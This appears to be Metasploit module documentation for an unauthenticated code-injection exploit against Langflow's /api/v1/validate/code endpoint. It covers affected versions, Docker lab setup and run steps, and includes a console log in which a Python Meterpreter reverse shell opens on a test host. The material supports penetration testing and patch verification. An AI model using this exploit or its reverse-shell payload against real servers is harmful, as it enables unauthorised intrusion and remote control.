## Vulnerable Application

Langflow versions prior to 1.3.0 are susceptible to code injection in the /api/v1/validate/code endpoint.
A remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code.

The vulnerability affects:

    * Langflow < 1.3.0 even if authentication is enabled
    * Langflow <= 1.3.2 (latest at the time of this writing) if authentication isn't enabled.

This module was successfully tested on:

    * Langflow 1.3.2 installed with Docker (authentication isn't enabled)


### Installation
1. `git clone https://github.com/langflow-ai/langflow.git`

2. `cd langflow/docker_example`

3. `docker compose up`


## Verification Steps

1. Install the application
2. Start msfconsole
3. Do: `use exploit/multi/http/langflow_unauth_rce_cve_2025_3248`
4. Do: `run lhost=<lhost> rhost=<rhost>`
5. You should get a meterpreter


## Options


## Scenarios
```
msf > use exploit/multi/http/langflow_unauth_rce_cve_2025_3248
[*] Using configured payload python/meterpreter/reverse_tcp
msf exploit(multi/http/langflow_unauth_rce_cve_2025_3248) > options

Module options (exploit/multi/http/langflow_unauth_rce_cve_2025_3248):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    7860             yes       The target port (TCP)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                     no        HTTP server virtual host


Payload options (python/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Python payload



View the full module info with the info, or info -d command.

msf exploit(multi/http/langflow_unauth_rce_cve_2025_3248) > run lhost=192.168.56.1 rhost=192.168.56.16
[*] Started reverse TCP handler on 192.168.56.1:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version 1.3.2 detected and authentication is disabled. Which is vulnerable.
[*] Sending stage (24772 bytes) to 192.168.56.16
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.16:57118) at 2025-04-12 10:00:32 +0900

meterpreter > getuid
Server username: user
meterpreter > sysinfo
Computer        : 06d3984f101d
OS              : Linux 6.8.0-56-generic #58-Ubuntu SMP PREEMPT_DYNAMIC Fri Feb 14 15:33:28 UTC 2025
Architecture    : x64
System Language : C
Meterpreter     : python/linux
meterpreter > 
```
